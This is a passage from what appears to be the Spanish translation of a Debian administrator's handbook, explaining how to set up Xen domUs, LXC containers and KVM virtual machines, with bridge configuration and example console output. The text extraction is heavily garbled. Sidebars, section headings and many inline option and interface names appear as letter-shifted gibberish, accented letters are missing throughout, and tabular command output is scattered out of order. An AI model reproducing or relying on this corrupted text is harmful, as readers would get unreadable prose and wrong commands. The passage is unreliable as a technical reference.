EIDQ indica que elEPN6
domU debe obtener su configuracin de red a travs de DHCP, mien-

tras que JQ permite definir una direccin IP esttica.

Por ltimo, debe elegir un mtodo de almacenamiento para las imgenes a crear (que el
domU ver como discos duros). El mtodo ms simple, que corresponde a la opcin 
EJS, es crear un archivo en el dom0 para cada dispositivo que se le provee al domU. La
alternativa en sistemas que utilizan LVM es la opcin MWN seguida del nombre de un
grupo de volmenes; xen-create-image luego crear un nuevo volumen lgico dentro
de dicho grupo y ste estar disponible en el domU como un disco duro.
/05"
"MNBDFOBNJFOUP FO FM EPN6

5BNCJO QVFEF FYQPSUBS EJTDPT EVSPT DPNQMFUPT BM EPN6 QBSUJDJPOFT


BSSBZT 3"*% P WPMNFOFT MHJDPT -7. QSFFYJTUFOUFT 4JO FNCBSHP FT
UBT PQFSBDJPOFT OP FTUO BVUPNBUJ[BEBT QPS xen-create-image QPS MP
RVF EFCFS FEJUBS FM BSDIJWP EF DPOGJHVSBDJO EF MB JNBHFO MVFHP EF
DSFBSMP DPO xen-create-image

Una vez que realiz esta eleccin, puede crear la imagen para nuestro futuro domU Xen:
# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=
wheezy --role=udev
[...]
General Information
-------------------Hostname
: testxen
Distribution
: wheezy
Mirror
: http://ftp.debian.org/debian/
Partitions
: swap
128Mb (swap)
/
2G
(ext3)
Image type
: sparse
Memory size
: 128Mb
Kernel path
: /boot/vmlinuz-3.2.0-4-686-pae
Initrd path
: /boot/initrd.img-3.2.0-4-686-pae
[...]
Logfile produced at:
/var/log/xen-tools/testxen.log
Installation Summary

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



--------------------Hostname
: testxen
Distribution
: wheezy
IP-Address(es) : dynamic
RSA Fingerprint : 0a:6e:71:98:95:46:64:ec:80:37:63:18:73:04:dd:2b
Root Password
: 48su67EW

Ahora tenemos una mquina virtual, pero no est ejecutando (por lo tanto slo utiliza espacio en el disco duro del dom0). Por supuesto, podemos crear ms imgenes, posiblemente con
diferentes parmetros.
Antes de encender estas mquinas virtuales, necesitamos definir cmo accederemos a ellas. Por
supuesto, podemos considerarlas mquinas aisladas a las que slo podemos acceder a travs de
su consola de sistema, pero rara vez esto coincide con el patrn de uso. La mayora de las veces,
consideraremos un domU como un servidor remoto al que slo podemos acceder a travs de la
red. Sin embargo, sera un gran inconveniente agregar una tarjeta de red para cada domU; es
por esto que Xen permite crear interfaces virtuales que cada dominio puede ver y utilizar de la
forma estndar. Sepa que estas tarjetas, aunque sean virtuales, slo sern tiles cuando estn
conectadas a una red, inclusive una virtual. Xen tiene varios modelos de red para esto:
El modelo ms simple es el modelo puente (bridge); todas las tarjetas de red eth0 (tanto
en los sistemas domU como en el dom0) se comportarn como si estuvieran conectadas
directamente a un switch Ethernet.
Luego est el modelo enrutamiento (routing) en el que el dom0 se comporta como el
router entre los sistemas domU y la red (fsica) externa.
Finalmente, en el modelo NAT, nuevamente el dom0 se encuentra entre los sistemas domU
y el resto de la red, pero no se puede acceder a los sistemas domU directamente desde
afuera y el trfico atraviesa una traduccin de direcciones de red en el dom0.
Estos tres modos de red involucran una cantidad de interfaces con nombres inusuales, como
vif*, veth*, peth* y xenbr0. El hypervisor Xen los acomoda en la distribucin definida bajo
el control de las herramientas en espacio de usuario. Debido a que los modelos NAT y de enrutamiento slo se adaptan a casos particulares slo discutiremos el modelo de puente.
La configuracin estndar de los paquetes Xen no modifica la configuracin de red del sistema.
Sin embargo, se configura el demonio xend para integrar las interfaces de red virtuales en un
puente de red preexistente (xenbr0 tiene precedencia si existen varios de ellos). Por lo tanto,
debemos configurar un puente en /etc/network/interfaces (lo que requiere que instalemos
el paquete bridge-utils, razn por la que lo recomienda el paquete xen-utils-4.1) para reemplazar
el elemento eth0 existente:
auto xenbr0
iface xenbr0 inet dhcp
bridge_ports eth0
bridge_maxwait 0



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Luego de reiniciar para asegurarse que se crea el puente automticamente, podemos iniciar
el domU con las herramientas de control de Xen, en particular el programa xm. Este programa
permite varias manipulaciones de los dominios, entre ellas: enumerarlos, iniciarlos y detenerlos.
# xm list
Name
Domain-0
# xm create testxen.cfg
Using config file "/etc/xen/testxen.cfg".
Started domain testxen (id=1)
# xm list
Name
Domain-0
testxen

13&$"6$*/
a4MP VO EPN6 QPS JNBHFO

ID
0

Mem VCPUs
463
1

State
r-----

Time(s)
9.8

ID
0
1

Mem VCPUs
366
1
128
1

State
r-----b----

Time(s)
11.4
1.1

4J CJFO FT QPTJCMF UFOFS WBSJPT TJTUFNBT EPN6 FKFDVUBOEP FO QBSBMFMP TJFNQSF


OFDFTJUBSO VUJMJ[BS TV QSPQJB JNBHFO ZB RVF TF MF IBDF DSFFS B DBEB EPN6 RVF
FKFDVUB FO TV QSPQJP IBSEXBSF BEFNT EF MB QFRVFB QPSDJO EFM ODMFP RVF
JOUFSBDUB DPO FM IZQFSWJTPS
 &O QBSUJDVMBS OP FT QPTJCMF RVF EPT TJTUFNBT
EPN6 FKFDVUBOEP FO QBSBMFMP DPNQBSUBO FTQBDJP EF BMNBDFOBNJFOUP 4J MPT
TJTUFNBT EPN6 OP FKFDVUBO BM NJTNP UJFNQP TJO FNCBSHP FT QPTJCMF SFVUJMJ[BS
MB NJTNB QBSUJDJO EF JOUFSDBNCJP P MB QBSUJDJO RVF BMCFSHB FM TJTUFNB EF
BSDIJWPT /home

Sepa que el domU testxen utiliza memoria real - no simulada - de la RAM que, de lo contrario,
estara disponible en el dom0. Debe tener cuidado al construir un servidor para instancias Xen,
asegurndose de incluir suficente RAM fsica.
Voil! Nuestra mquina virtual est iniciando. Podemos acceder a ella de dos formas. La forma
usual es conectarnos remotamente a travs de la red, como lo haramos con una mquina
real; esto usualmente requerir configurar un servidor DHCP o alguna configuracin de DNS. La
otra forma, que puede ser la nica forma si la configuracin de red era incorrecta, es utilizar la
consola hvc0 ejecutando xm console:
# xm console testxen
[...]
Debian GNU/Linux 7.0 testxen hvc0
testxen login:

Uno puede abrir una sesin, tal como si estuviera sentado frente al teclado de la mquina virtual.
Puede desconectarse de esta consola con la combinacin de teclas Control+].
46(&3&/$*"
*OHSFTP B MB DPOTPMB
JONFEJBUBNFOUF

" WFDFT VOP EFTFB JOJDJBS VO TJTUFNB EPN6 F JOHSFTBS B TV DPOTPMB JONFEJBUB
NFOUF FT QPS FTUP RVF QVFEF VUJMJ[BS MB PQDJO -c DVBOEP FKFDVUF xm create
*OJDJBS VO EPN6 DPO FMMB NPTUSBS UPEPT MPT NFOTBKFT NJFOUSBT JOJDJB FM TJT
UFNB

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



)&33".*&/5"
0QFO9FO.BOBHFS

0QFO9FO.BOBHFS FO FM QBRVFUF PQFOYFONBOBHFS


FT VOB JOUFSGB[ HSGJDB RVF
QFSNJUF DPOUSPMBS SFNPUBNFOUF MPT EPNJOJPT 9FO B USBWT EF MB "1* EF 9FO
1SPWFF MB NBZPSB EF MB GVODJPOEBMJEBE EFM QSPHSBNB xm

Una vez que el domU est ejecutando, puede utilizarlo como cualquier otro servidor (al fin y
al cabo es un sistema GNU/Linux). Sin embargo, su existencia como mquina virtual permite
cierta funcionalidad adicional. Por ejemplo, puede pausar y resumir temporalmente un domU,
ejecutando xm pause y xm unpause. Sepa que aunque un domU pausado no utiliza el procesador,
la memoria reservada a l sigue en uso. Puede ser interesante considerar las rdenes xm save y
xm restore: guardar un domU libera los recursos utilizados por este domU, incluyendo la RAM.
Cuando restaure (o resuma) un domU, ste no notar nada a excepcin del paso del tiempo. Si un
domU est ejecutando cuando se apague el dom0, los scripts empaquetados automticamente
guardarn el domU y lo restaurarn cuando vuelva a iniciar. Esto, por supuesto, tiene los mismos
inconvenientes estndar que cuando hiberna un equipo porttil, por ejemplo; en particular, si se
suspende por demasiado tiempo al domU, pueden expirar las conexiones de red. Sepa tambin
que, hasta el momento, Xen es incompatible con gran parte de la gestin de energa ACPI, lo que
evita que pueda suspender el sistema anfitrin (dom0).
%0$6.&/5"$*/
0QDJPOFT EF xm

-B NBZPSB EF MBT TVCSEFOFT EF xm FTQFSBO VOP P NT QBSNFUSPT HFOFSBM


NFOUF FM OPNCSF EF VO EPN6 4F EFTDSJCFO FO EFUBMMF FTUPT QBSNFUSPT FO MB
QHJOB EF NBOVBM xm(1)

Puede apagar o reiniciar un domU tanto desde dentro del domU (con el programa shutdown)
como tambin desde el dom0, ejecutando xm shutdown o xm reboot.
:&/%0 .4 "--
9FO BWBO[BEP

9FO UJFOF NVDIB NT GVODJPOBMJEBE EF MB RVF QPEFNPT EFTDSJCJS FO FTUPT


QPDPT QSSBGPT &O QBSUJDVMBS FM TJTUFNB FT NVZ EJONJDP Z QVFEF BKVTUBS NV
DIPT QBSNFUSPT EF VO EPNJOJP DPNP DBOUJEBE EF NFNPSJB SFTFSWBEB EJTDPT
EVSPT WJTJCMFT DPNQPSUBNJFOUP EF MBT UBSFBT QSPHSBNBEBT FUD
BO DVBO
EP TUF FTU FKFDVUBOEP a*ODMVTJWF QVFEF NJHSBS VO EPN6 FOUSF TFSWJEPST TJO
BQBHBSMP Z TJO QFSEFS TVT DPOFYJPOFT EF SFE 1BSB TBCFS NT EF UPEPT FTUPT
BTQFDUPT BWBO[BEPT MB GVFOUF EF JOGPSNBDJO QSJODJQBM FT MB EPDVNFOUBDJO
PGJDJBM EF 9FO
http://www.xen.org/support/documentation.html

 -9$
An cuando es utilizado para crear mquinas virtuales, LXC no es, estrictamente hablando,
un sistema de virtualizacin sino un sistema para aislar grupos de procesos entre s an cuando
estos ejecutan en el mismo equipo. Aprovecha un conjunto de evoluciones recientes del ncleo Linux, conocidos colectivamente como grupos de control (control groups), mediante los
que diferentes conjuntos de procesos llamados grupos tienen diferentes visiones de ciertos



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

aspectos de todo el sistema. Entre estos aspectos, los ms notables son los identificadores de procesos, la configuracin de red y los puntos de montaje. Un grupo de procesos aislados no podr
acceder a otros procesos en el sistema y puede restringir su acceso al sistema de archivos a un
subconjunto especfico. Tambin puede tener su propia interfaz de red y tabla de enrutamiento
y puede configurarlo para que slo pueda ver un subconjunto de los dispositivos disponibles que
estn presentes en el sistema.
Puede combinar estas funcionalidades para aislar una familia de procesos completa que inicia
desde el proceso init, y el conjunto resultante es muy similar a una mquina virtual. El nombre
oficial de esta configuracin es contenedor (de all LXC: contenedores Linux, LinuX Containers), pero una diferencia importante con mquinas virtuales reales como aquellas provistas por Xen o KVM es que no hay un segundo ncleo; el contenedor utiliza el mismo ncleo
que el sistema anfitrin. Esto tiene tanto ventajas como desventajas: las ventajas incluyen un
rendimiento excelente debido a una falta completa de sobrecarga y el hecho de que el ncleo
tiene una visin global de todos los procesos que ejecutan en el sistema por lo que la gestin de
procesos puede ser ms eficiente que si existieran dos ncleos independientes administrando
conjuntos de tareas. La mayor de las desventajas es la imposibilidad de ejecutar un ncleo diferente en un contenedor (sea una versin diferente de Linux o directamente un sistema operativo
distinto).

/05"
-NJUFT EF BJTMBNJFOUP FO
-9$

-PT DPOUFOFEPSFT -9$ OP QSPWFFO FM OJWFM EF BJTMBNJFOUP RVF QSPWFFO FNV


MBEPSFT P WJSUVBMJ[BEPSFT NT QFTBEPT &O QBSUJDVMBS
FM ODMFP FTUOEBS FO 8IFF[Z OP QFSNJUF MJNJUBS MB DBOUJEBE EF NFNP
SJB EJTQPOJCMF FO VO DPOUFOFEFS MB GVODJPOBMJEBE FYJTUF Z FTU JODPSQP
SBEB BM ODMFP QFSP EFTBDUJWBEB EF GPSNB QSFEFUFSNJOBEB QPSRVF UJFOF
VO QFRVFP
DPTUP FO FM SFOEJNJFOUP EFM TJTUFNB TJO FNCBSHP QVFEF
BDUJWBSMB BHSFHBOEP MB PQDJO EFM ODMFP cgroup_enable=memory FO MB
MOFB EF BSSBORVF
EFCJEP B RVF FM TJTUFNB BOGJUSJO Z MPT DPOUFOEPSFT DPNQBSUFO FM ODMFP
MPT QSPDFTPT MJNJUBEPT FO VO DPOUFOFEPS UPEBWB QVFEFO BDDFEFS B MPT
NFOTBKFT EFM ODMFP MP RVF QVFEF DBVTBS RVF TF GJMUSF JOGPSNBDJO TJ VO
DPOUFOFEPS FNJUF NFOTBKFT
QPS SB[POFT TJNJMBSFT TJ TF DPNQSPNFUF VO DPOUFOFEPS Z TF FYQMPUB VOB
WVMOFSBCJMJEBE EFM ODMFP QVFEF BGFDUBS B PUSPT DPOUFOFEPSFT
FO FM TJTUFNB EF BSDIJWPT FM ODMFP TVQFSWJTB MPT QFSNJTPT TFHO JEFO
UJGJDBEPSFT OVNSJDPT QBSB MPT VTVBSJPT Z HSVQPT FTUPT JEFOUJGJDBEPSFT
QVFEFO EFTJHOBS VTVBSJPT Z HSVQPT EJGFSFOUFT TFHO FM DPOUFOFEPS EFCF
UFOFSMP FO DVFOUB TJ MPT DPOUFOFEPSFT DPNQBSUFO QFSNJTPT EF FTDSJUVSB
B QBSUFT EFM TJTUFNB EF BSDIJWPT

Debido a que estamos trabajando con aislamiento en lugar de virtualizacin, configurar contenedores LXC es ms complejo que simplemente ejecutar debian-installer en una mquina virtual. Describiremos unos pocos prerequisitos, luego continuaremos con la configuracin de red;
finalmente podremos crear realmente el sistema a ejecutar en el contenedor.

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



1BTPT QSFMJNJOBSFT
El paquete lxc contiene las herramientas necesarias para utilizar LXC, por lo tanto debe instalarlo.
LXC tambin necesita del sistema de configuracin de grupos de control (control groups), que es
un sistema de archivos virtual montado en /sys/fs/cgroup. Debe incluir el siguiente elemento
en el archivo /etc/fstab:
# /etc/fstab: informacin esttica del sistema de archivos.
[...]
cgroup
/sys/fs/cgroup
cgroup
defaults

Se montar automticamente /sys/fs/cgroup al iniciar; si no planea reiniciar en el futuro cercano debe montar manualmente el sistema de archivos ejecutando mount /sys/fs/cgroup.

$POGJHVSBDJO EF SFE
El objetivo de instalar LXC es configurar mquinas virtuales; si bien podramos mantenerlas
aisladas de la red, y slo comunicarnos con ellas a travs del sistema de archivos, la mayora de
los casos de uso involucran proveer a los contenedores al menos un acceso mnimo a la red. En el
caso tpico, cada contenedor obtendr una interfaz de red virtual, conectada a la red real a travs
de un puente. Esta interfaz virtual puede conectarse directamente a la interfaz de red fsica del
anfitrin (en cuyo caso el contenedor se encuentra en la red directamente) o a otra interfaz
virtual definida en el anfitrin (y en la que ste puede filtrar o enrutar trfico). En ambos casos,
necesitar el paquete bridge-utils.
El caso ms simple es slo cuestin de editar /etc/network/interfaces, moviendo la configuracin de la interfaz fsica (por ejemplo FUI) a la interfaz bridge (generalmente CS) y configurar un enlace entre ellas. Por ejemplo, si el archivo de configuracin de la interfaz de red
inicialmente contiene elementos como los siguientes:
auto eth0
iface eth0 inet dhcp

Debera desactivarlas y reemplazarlas con lo siguiente:


#auto eth0
#iface eth0 inet dhcp
auto br0
iface br0 inet dhcp
bridge-ports eth0

El efecto de esta configuracin ser similar a lo que podra obtener si los controladores fueran
mquinas conectadas a la misma red fsica que el anfitrin. La configuracin del puente gestiona el trnsito de tramas Ethernet entre todas las interfaces en l, lo que incluye la interfaz
fsica FUI as como tambin las interfaces definidas para los contenedores.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

En casos en los que no pueda utilizar esta configuracin (por ejemplo, si no puede asignarle
una IP pblica a los contenedores), crearemos una sola interfaz virtual tap y la conectaremos al
puente. La topologa de red equivalente sera aquella de un equipo con una segunda tarjeta de
red conectada a un switch independiente al que tambin estn conectados los contenedores. El
anfitrin deber actuar como puerta de enlace para los contenedores si stos deben comunicarse
con el mundo exterior.
Adems de bridge-utils, esta configuracin enriquecida necesita el paquete vde2; el archivo
/etc/network/interfaces se convierte entonces en:
# Interfaz eth0 sin cambios
auto eth0
iface eth0 inet dhcp
# Interfaz virtual
auto tap0
iface tap0 inet manual
vde2-switch -t tap0
# Puente para los contenedores
auto br0
iface br0 inet static
bridge-ports tap0
address 10.0.0.1
netmask 255.255.255.0

Luego puede configurar la red en los contenedores de forma esttica o dinmica con un servidor
DHCP ejecutando en el anfitrin. Deber configurar este servidor DHCP para que responda a
pedidos en la interfaz CS.

$POGJHVSBDJO EFM TJTUFNB


Configuremos ahora el sistema que utilizar el contenedor. Debido a que esta mquina virtual
no ejecutar directamente sobre el hardware, son necesarios algunos ajustes comparados con un
sistema de archivos estndar, especialmente en aquello que involucra al ncleo, los dispositivos
y las consolas. Afortunadamente, el paquete lxc incluye scripts que automatizan la mayora de
esta configuracin. Por ejemplo, las siguientes rdenes (que requieren los paquetes debootstrap
y rsync) instalar un contenedor Debian:
$6*%"%0
&SSPSFT FO MB QMBOUJMMB
QSFEFUFSNJOBEB EF debian

&M TDSJQU EF DSFBDJO EF QMBOUJMMBT /usr/share/lxc/templates/lxc-debian JO


DMVEP FO FM QBRVFUF PSJHJOBM FO 8IFF[Z FT EFDJS MYD _SD EFCV

UJFOF WBSJPT QSPCMFNBT &M NT JNQPSUBOUF FT RVF EFQFOEF EFM QSPHSBNB livedebconfig RVF OP FTU EJTQPOJCMF FO 8IFF[Z TJOP FO WFSTJPOFT QPTUFSJPSFT EF
%FCJBO
http://bugs.debian.org/680469
http://bugs.debian.org/686747

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



"M NPNFOUP EF FTDSJCJS FTUBT MOFBT OP FYJTUB VOB TPMVDJO EFDFOUF P BMUFS
OBUJWB UJM FYDFQUP VUJMJ[BS PUSP TDSJQU EF DSFBDJO EF QMBOUJMMBT &T QPTJCMF RVF
GVUVSBT BDUVBMJ[BDJPOFT EF MYD MP DPSSJKBO &TUB TFDDJO BTVNF RVF /usr/share/
lxc/templates/lxc-debian DPJODJEF DPO FM TDSJQU RVF TF QSPWFF FO PSJHFO
https://github.com/lxc/lxc/raw/master/templates/lxc-debian.in

root@mirwiz:~# lxc-create -n testlxc -t debian


Note: Usually the template option is called with a configuration
file option too, mostly to configure the network.
For more information look at lxc.conf (5)
debootstrap is /usr/sbin/debootstrap
Checking cache download in /var/cache/lxc/debian/rootfs-wheezy-amd64 ...
Downloading debian minimal ...
I: Retrieving Release
I: Retrieving Release.gpg
[...]
Root password is 'root', please change !
'debian' template installed
'testlxc' created
root@mirwiz:~#

Sepa que inicialmente se crea el sistema de archivos en /var/cache/lxc y luego es mudado a


su directorio de destino. Esto permite crear contenedores idnticos mucho ms rpido ya que
luego slo necesita copiarlo.
Tenga en cuenat que el script de creacin de plantillas acepta la opcin --arch para especificar la arquitectura del sistema a instalar y la opcin --release si desea instalar algo diferente
a la versin estable actual de Debian. Tambin puede definir la variable de entorno .*3303
apuntando a una rplica Debian local.
El sistema de archivos recientemente creado ahora contiene un sistema Debian mnimo y, de
forma predeterminada, el contenedor comparte el dispositivo de red con el equipo anfitrin.
Debido a que esta no es la configuracin deseada, editaremos el archivo de configuracin del
contenedor (/var/lib/lxc/testlxc/config) y agregar algunos elementos MYDOFUXPSL :
lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0
lxc.network.hwaddr = 4a:49:43:49:79:20

Estas lneas significan, respectivamente, que se crear una interfaz virtual en el contenedor;
que ser iniciada automticamente cuando inicie el contenedor; que ser conectada automticamente al puente CS en el anfitrin; y que su direccin MAC ser la especificada. En caso que
esta ltima lnea no exista o est desactivada, se generar una direccin MAC aleatoria.
Otro elemento til en dicho archivo es la configuracin del nombre del equipo:
lxc.utsname = testlxc



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

*OJDJP EFM DPOUFOFEPS


Ahora que nuestra mquina virtual est lista, iniciemos el contenedor:
root@mirwiz:~# lxc-start --daemon --name=testlxc
root@mirwiz:~# lxc-console -n testlxc
Debian GNU/Linux 7 testlxc tty1
testlxc login: root
Password:
Linux testlxc 3.2.0-4-amd64 #1 SMP Debian 3.2.46-1+deb7u1 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY,
permitted by applicable law.
root@testlxc:~# ps auxwf
USER
PID %CPU %MEM
VSZ
RSS TTY
STAT
root
1 0.0 0.0 10644
824 ?
Ss
root
1232 0.0 0.2
9956 2392 ?
Ss
eth0.pid
root
1379 0.0 0.1 49848 1208 ?
Ss
root
1409 0.0 0.0 14572
892 console Ss+
root
1410 0.0 0.1 52368 1688 tty1
Ss
root
1414 0.0 0.1 17876 1848 tty1
S
root
1418 0.0 0.1 15300 1096 tty1
R+
root
1411 0.0 0.0 14572
892 tty2
Ss+
root
1412 0.0 0.0 14572
888 tty3
Ss+
root
1413 0.0 0.0 14572
884 tty4
Ss+
root@testlxc:~#

to the extent
START
09:38
09:39

TIME COMMAND
0:00 init [3]
0:00 dhclient -v -pf /run/dhclient.

09:39
09:39
09:39
09:42
09:42
09:39
09:39
09:39

0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00

/usr/sbin/sshd
/sbin/getty 38400
/bin/login -\_ -bash
\_ ps auxf
/sbin/getty 38400
/sbin/getty 38400
/sbin/getty 38400

console

tty2 linux
tty3 linux
tty4 linux

Ahora estamos dentro del contenedor; nuestro acceso a los procesos est restringido a aquellos
iniciados dentro del mismo contenedor y nuestro acceso al sistema de archivos est limitado
de forma similar al subconjunto dedicado del sistema de archivos completo (/var/lib/lxc/
testlxc/rootfs). Podemos salir a la consola con Control+a q.
Tenga en cuenta que ejecutamos el contenedor como un proceso en segundo plano gracias a la
opcin --daemon de lxc-start. Podemos interrumpir el contenedor ejecutando lxc-kill -name=testlxc.
El paquete lxc contiene un script de inicializacin que puede iniciar automticamente uno o
ms contenedores cuando inicia el anfitrin; su archivo de configuracin, /etc/default/lxc
es bastante directo; sepa que necesita almacenar los archivos de configuracin del contenedor
en /etc/lxc/auto/; muchos usuarios prefieren enlaces simblicos, que puede crear con ln -s
/var/lib/lxc/testlxc/config /etc/lxc/auto/testlxc.config.
:&/%0 .4 "--
7JSUVBMJ[BDJO FO NBTB

%FCJEP B RVF -9$ FT VO TJTUFNB EF BJTMBDJO NVZ MJWJBOP QVFEF BEBQUBSTF


QBSUJDVMBSNFOUF BM BMNBDFOBNJFOUP NBTJWP EF TFSWJEPSFT WJSUVBMFT -B DPOGJH
VSBDJO EF SFE QSPCBCMFNFOUF TFB VO QPDP NT BWBO[BEB RVF MB RVF EFTDSJCJ
NPT QFSP MB DPOGJHVSBDJO kFOSJRVFDJEB{ VUJMJ[BOEP JOUFSGBDFT tap Z veth EF
CFSB TFS TVGJDJFOUF FO NVDIPT DBTPT
5BNCJO QVFEF UFOFS TFOUJEP DPNQBSUJS QBSUF EFM TJTUFNB EF BSDIJWPT DPNP
MPT TVCSCPMFT /usr Z /lib QBSB FWJUBS EVQMJDBS FM TPXBSF RVF QVFEF TFS
DPNO B WBSJPT DPOUFOFEPSFT (FOFSBMNFOUF TF DPOTJHVF FTUP DPO FMFNFO
UPT lxc.mount.entry FO FM BSDIJWP EF DPOGJHVSBDJO EF MPT DPOUFOFEPSFT 6O

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



FGFDUP TFDVOEBSJP JOUFSFTBOUF FT RVF FM QSPDFTP VUJMJ[BS NFOPT NFNPSJB GTJ


DB ZB RVF FM ODMFP QVFEF EFUFDUBS RVF TF DPNQBSUFO MPT QSPHSBNBT &M DPTUP
NBSHJOBM EF VO DPOUFOFEPS BEJDJPOBM TF QVFEF SFEVDJS BM FTQBDJP FO EJTDP EFE
JDBEP B TVT EBUPT FTQFDGJDPT Z VOPT QPDPT QSPDFTPT BEJDJPOBMFT RVF FM ODMFP
EFCF HFTUJPOBS Z QSPHSBNBS
0CWJBNFOUF OP EFTDSJCJNPT UPEBT MBT PQDJPOFT EJTQPOJCMFT QVFEF PCUFOFS
JOGPSNBDJO NT DPNQMFUB FO MBT QHJOBT EF NBOVBM lxc(7) Z lxc.conf(5)
BT DPNP UBNCJO BRVFMMBT B MBT RVF IBDFO SFGFSFODJB

 7JSUVBMJ[BDJO DPO ,7.


KVM, acrnimo de mquina virtual basada en el ncleo (Kernel-based Virtual Machine), es
primero que nada un mdulo del ncleo que provee la mayor parte de la infraestructura que
puede usar un virtualizador, pero no es un virtualizador en s mismo. El control real de la virtualizacin es gestionado por una aplicacin basada en QEMU. No se preocupe si esta seccin
menciona programas qemu-*, contina hablando sobre KVM.
A diferencia de otros sistemas de virtualizacin, se integr KVM al ncleo Linux desde el comienzo. Sus desarrolladores eligieron aprovechar el conjunto de instrucciones de procesador dedicados a la virtualizacin (Intel-VT y AMD-V), lo que mantiene a KVM liviano, elegante y no muy
hambriento de recursos. La contraparte, obviamente, es que KVM funciona principalmente en
procesadores i386 y amd64, y slo en aquellos suficientemente recientes para tener estos conjuntos de instrucciones. Puede verificar si tiene uno de estos procesadores si encuentra a vmx
o svm entre las opciones de CPU (flags) enumeradas en /proc/cpuinfo.
Con Red Hat respaldando activamente su desarrollo, KVM parece haberse convertido en la referencia de virtualizacin en Linux.

1BTPT QSFMJNJOBSFT
A diferencia de herramientas como VirtualBox, KVM por s mismo no incluye ninguna interfaz de usuario para crear y administrar mquinas virtuales. El paquete qemu-kvm slo provee
un ejecutable para iniciar mquinas virtuales as como el script de inicializacin que carga los
mdulos de ncleo apropiados.
Afortunadamente, Red Hat tambin provee otro conjunto de herramientas para solucionar este
problema con el desarrollo de la biblioteca libvirt y las herramientas gestor de mquina virtual
(virtual machine manager) asociadas. libvirt permite administrar mquinas virtuales de manera uniforme e independiente al sistema de virtualizacin subyacente (actualmente es compatible con QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare y UML). virtual-manager es una
interfaz grfica que utiliza libvirt para crear y administrar mquinas virtuales.
Primero instalaremos los paquetes necesarios con apt-get install qemu-kvm libvirt-bin
virtinst virt-manager virt-viewer. libvirt-bin provee el demonio libvirtd, que permite la
gestin (posiblemente remota) de mquinas virtuales ejecutando en el equipo e inicia las VMs



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

necesarias cuando ste inicia. Adems, este paquete provee la herramienta de consola virsh
que permite controlar los equipos administrados con libvirtd.
El paquete virtinst provee virt-install, que permite crear mquinas virtuales desde una constola. Finalmente, virt-viewer permite acceder a la consola grfica de una VM.

$POGJHVSBDJO EF SFE
De la misma forma que en Xen y LXC, la configuracin de red ms frecuente involucra un puente
que agrupa las interfaces de red de las mquinas virtuales (revise la Seccin 12.2.2.2, Configuracin de red pgina 338).
Alternativamente, y de forma predeterminada en la configuracin de KVM, se le asigna una
direccin privada (en el rango 192.168.122.0/24) a la mquina virtual y se configura NAT para
que la VM pueda acceder a la red externa.
El resto de esta seccin asume que el anfitrin posee una interfaz fsica FUI y un puente CS
que est conectado a la primera interfaz.

*OTUBMBDJO DPO virt-install


Crear una mquina virtual es muy similar a instalar un sistema normal, excepto que describir
las caractersticas de la mquina virtual en una lnea que parecer infinita.
En la prctica, esto significa que utilizaremos el instalador de Debian, iniciando la mquina virtual en un dispositivo DVD-ROM virtual que est asociado con la imagen del DVD Debian almacenado en el sistema anfitrin. La VM exportar su consola grfica sobre el protocolo VNC (revise
la Seccin 9.2.2, Utilizacin de escritorios grficos remotos pgina 199 para ms detalles), lo
que nos permitir controlar el proceso de instalacin.
Primero necesitaremos indicarle a libvirtd dnde almacenar las imgenes de disco, a menos que
la ubicacin predeterminada (/var/lib/libvirt/images) sea adecuada.
root@mirwiz:~# mkdir /srv/kvm
root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm
Pool srv-kvm created
root@mirwiz:~#

Ahora iniciaremos el proceso de instalacin para la mquina virtual y veremos en ms detalle


las opciones ms importantes de virt-install. Este programa registra en libvirtd la mquina
virtual y sus parmetros y luego la inicia para continuar el proceso de instalacin.
# virt-install --connect qemu:///system
--virt-type kvm
--name testkvm
--ram 1024






--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10

$BQUVMP  " ENJOJTUSBDJO BWBO[BEB



--cdrom /srv/isos/debian-7.2.0-amd64-netinst.iso
--network bridge=br0
--vnc
--os-type linux
--os-variant debianwheezy




Starting install...
Allocating 'testkvm.qcow'
| 10 GB
00:00
Creating domain...
|
0 B
00:00
Cannot open display:
Run 'virt-viewer --help' to see a full list of available command line options.
Domain installation still in progress. You can reconnect
to the console to complete the installation process.









La opcin DPOOFDU especifica el hypervisor a utilizar. En forma de una URL que contiene un sistema de virtualizacin (YFO, RFNV, MYD, PQFOW[, WCPY, etc.) y el
equipo que alojar la VM (puede dejarlo vaco si es el equipo local). Adems, y en el caso de QEMU/KVM, cada usuario puede administrar mquinas virtuales con permisos restringidos, y la ruta de la URL permite diferenciar equipos de sistema (TZTUFN) de los
dems (TFTTJPO).
Debido a que se administra KVM de la misma forma que QEMU, la opcin WJSUUZQF LWN
permite especificar que se utilice KVM aunque la URL parezca una de QEMU.
La opcin OBNF define un nombre (nico) para la mquina virtual.
La opcin SBN permite especificar la cantidad de RAM (en MB) que reservar para la
mquina virtual.
La opcin EJTL especifica la ubicacin del archivo de imagen que representar el disco duro de nuestra mquina virtual; se crear este archivo, a menos que ya exista, de un
tamao (en GB) especificado por el parmetro TJ[F. El parmetro GPSNBU permite elegir
entre las diferentes formas de almacenar el archivo de imagen. El formato predeterminado (SBX) es un solo archivo de exactamente el mismo tamao y contenidos que el disco.
Seleccionamos un formato ms avanzado aqu, especfico de QEMU y que permite iniciar
con un archivo pequeo que slo crece cuando la mquina virtual realmente utiliza el
espacio.
Utilizamos la opcin DESPN para indicar dnde encontrar el disco ptico a utilizar para
la instalacin. La ruta puede ser una ruta local para un archivo ISO, una URL donde se
puede obtener el archivo o el archivo de dispositivo de un CD-ROM fsico (es decir: EFW
DESPN).
